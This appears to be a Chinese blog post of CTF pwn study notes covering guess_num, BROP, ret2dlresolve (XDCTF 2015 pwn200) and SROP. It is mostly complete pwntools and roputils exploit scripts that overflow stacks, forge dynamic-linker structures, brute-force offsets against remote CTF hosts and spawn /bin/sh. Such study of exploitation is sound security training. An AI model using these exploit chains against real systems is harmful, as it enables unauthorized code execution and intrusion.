sla(b'Welcome, let me know your name: ', payload)

for i in range(50):
rand_value = libc.rand() % 6 + 1
sla(b'Give me the point(1~6): ', str(rand_value))

pi()

guess_num

file & checksec

Analyse

  • rand() 生成的随机数和随机种子 seed() 有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到 seed(0) ,实现一个可预测的随机数列,连续猜中 10 次

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from ctypes import *

local = 0
pc = './guess_num'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['61.147.171.104', 57091]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

payload = b'a'*0x20
payload += p64(0)

sla(b'Your name:', payload)

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0)

for i in range(0,10):
number = libc.rand() % 6 + 1
sla(b'Please input your guess number:', str(number))

pi()

BROP

XMan 2017 Baaa

EXP

  • 盲打栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.log_level = True

GOD_addr = 0x40060d

def send_fuzz(p, num, type):
payload = b'a'*num
if type == 1:
payload += p32(GOD_addr)
if type == 2:
payload += p64(GOD_addr)
p.sendlineafter(b'>', payload)

for i in range (0x100):
for j in range(1, 3):
p = remote('61.147.171.104', 50025)
try:
send_fuzz(p, i+1, j)
r = p.recv()
p.interactive()
break
except:
p.close()
'''
p = remote('61.147.171.104', 50025)
p.sendline("A"*72 + "\x0D\x06\x40\x00\x00\x00\x00\x00")
p.interactive()
'''

ret2dlresolve

2015-XDCTF-pwn200 no-relro

  • 直接修改 .dynamic
  • 修改 .dynamic 节中字符串表的地址为伪造的地址
  • 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串
  • 在特定的位置读取 /bin/sh 字符串
  • 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数

EXP1

  • 自己构造 payload ,不使用其他模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *

local = 1
pc='./main_no_relro_32'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]


#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
elf = ELF('./main_no_relro_32')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def dbg(b=""):
gdb.attach(p, b)
#raw_input()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

#dbg()
ru(b'Welcome to XDCTF2015~!\n')

read_plt = elf.plt['read']
relro_read = 0x8048376
lg('read_plt', read_plt)

bss_base = elf.bss(0)
lg('bss_addr', bss_base)

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b'read', b'system')

dynstr_addr = 0x8049804
lg('dynstr_addr', dynstr_addr)

# 0x08048629 : pop esi ; pop edi ; pop ebp ; ret
ppp_ret = 0x08048629
#ppp_ret = 0x0804834a

payload = b'a'*108
payload += b'b'*4

payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(dynstr_addr+4)
payload += p32(4)

payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_base)
payload += p32(len(dynstr))

payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_base+0x100)
payload += p32(len("/bin/sh"))

payload += p32(relro_read)
payload += p32(0xdeadbeef)
payload += p32(bss_base+0x100)

payload += b'a'*(256-len(payload))

sn(payload)

#pause()

sn(p32(bss_base))

#pause()

sn(dynstr)

#pause()
sn(b"/bin/sh\x00")
#pause()

pi()

EXP2

  • 使用 ROP 模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

p.recvuntil('Welcome to XDCTF2015~!\n')

offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send("/bin/sh\x00")
p.interactive()

2015-XDCTF-pwn200 partial-relro

  • .dynamic 节只读,不能修改 .dynamic ,可以通过伪造重定位表项的方式来调用目标函数
  • 一步一步手工伪造

EXP1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *

local = 1
pc='./main_partial_relro_32'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

elf = ELF('./main_partial_relro_32')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def dbg(b=""):
gdb.attach(p, b)
#raw_input()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))


# ROPgadget --binary ./main_partial_relro_32 --only 'leave|ret'
# 0x08048465 : leave ; ret
leave_ret = 0x08048465

'''
ndx_addr = 0x80487a8 != 0 need to adjust
pwndbg> x /20wx 0x80487a8
0x80487a8: 0x300e442c 0x47200e4d 0xc341140e 0xc641100e
0x80487b8: 0xc7410c0e 0xc541080e 0x0000040e 0x00000010
0x80487c8: 0x00000114 0xfffffe84 0x00000002 0x00000000
0x80487d8: 0x00000000 0x00000000 0x00000000 0x00000000
'''
bss_addr = elf.bss(0x800)+int((0x80487d8-0x80487a8)/2)*0x10 # adjust ndx
read_plt = elf.plt['read']
lg('read_plt', read_plt)

'''
stack privot to bss_addr
esp = bss_addr
'''

#dbg()
payload = b'a'*108
payload += p32(bss_addr)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(0x100)

ru(b'Welcome to XDCTF2015~!\n')
sl(payload)
#pause()

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr
lg('plt0', plt0)
lg('rel_plt_addr', rel_plt_addr)
lg('dynsym_addr', dynsym_addr)
lg('dynstr_addr', dynstr_addr)

fake_rel_plt_addr = bss_addr + 20
fake_dynsym_addr = fake_rel_plt_addr + 0x8
align = 0x10 - ((fake_dynsym_addr - dynsym_addr) & 0xf) # since the size of Elf32_Symbol is 0x10
fake_dynsym_addr = fake_dynsym_addr + align
fake_dynstr_addr = fake_dynsym_addr + 0x10
lg('fake_rel_plt_addr', fake_rel_plt_addr)
lg('fake_dynsym_addr', fake_dynsym_addr)
lg('fake_dynstr_addr', fake_dynstr_addr)

fake_index = fake_rel_plt_addr - rel_plt_addr # calculate the dynsym index of write
lg('fake_index', fake_index)
r_info = (int((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
lg('r_info', r_info)
fake_rel_plt = p32(elf.got['write']) + p32(r_info)

st_name = fake_dynsym_addr + 0x10 - dynstr_addr # plus 10 since the size of Elf32_Sym is 16.
lg('st_name', st_name)
fake_dynsym = b'a'*align + p32(st_name) + p32(0) + p32(0) + p32(0x12000000)

fake_dynstr = b"system" + b"\x00" + b"\x00"
fake_dynstr += b"/bin/sh" + b"\x00"


binsh_addr = fake_dynstr_addr + 0x8

index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 0x10)
lg('index_dynsym', index_dynsym)
gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
lg('gnu_version_addr', gnu_version_addr)
lg("ndx_addr", gnu_version_addr+index_dynsym*2)

payload = p32(0)
payload += p32(plt0)
payload += p32(fake_index)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

payload += fake_rel_plt
payload += fake_dynsym
payload += fake_dynstr

sn(payload)
pi()

EXP2

  • 使用 roputil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_runtimeresolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

EXP3

  • 使用 pwntools 的 Ret2dlresolvePayload 模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.binary = elf = ELF("./main_partial_relro_32")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./main_partial_relro_32")
io.recvuntil(b"Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

SROP

论文例子学习

  1. 首先利用栈溢出漏洞,将返回地址覆盖为一个指向 sigreturn gadget 的指针。如果只有 syscall ,则将 RAX 设置为 0xf,效果是一样的。在栈上覆盖上 fake frame。其中:
    • RSP: 一个可写的内存地址
    • RIP: syscall;retn 的地址
    • RAX: read 的系统调用号
    • RDI: 文件描述符,即从哪儿读入
    • RSI: 可写内存的地址,即写入到哪儿
    • RDX: 读入的字节数,这里是 306
  2. sigreturn gadget 执行完之后,因为设置了 RIP,所以会再次执行 syscall;retn gadget。payload 的第二部分就是通过这里读入文件描述符的。这一部分包含 3syscall;retnfake frame和其他的代码或数据
  3. 接收完数据后,read 函数返回,返回值即读入的字节数被放到 rax 中。我们的可写内存被这些数据所覆盖,并且 RSP 指向了它的开头。然后 syscall;retn 被执行,由于 RAX=306,即 syncfs 的系统调用号,该调用总是返回 0,而 0 又是 read 的调用号
  4. 再次执行 syscall;retn,即 read 系统调用。这一次,读入的内容不重要,重要的是数量,让它等于 15,即 sigreturn 的调用号
  5. 执行第三个 syscall;retn,即 sigreturn 系统调用。从第二个 fake frame 中恢复寄存器,这里是 execve("/bin/sh",...)。另外还可以调用 mprotect 将某段数据变为可执行的。
  6. 执行 execve,拿到 shell
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2023/sstudy/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!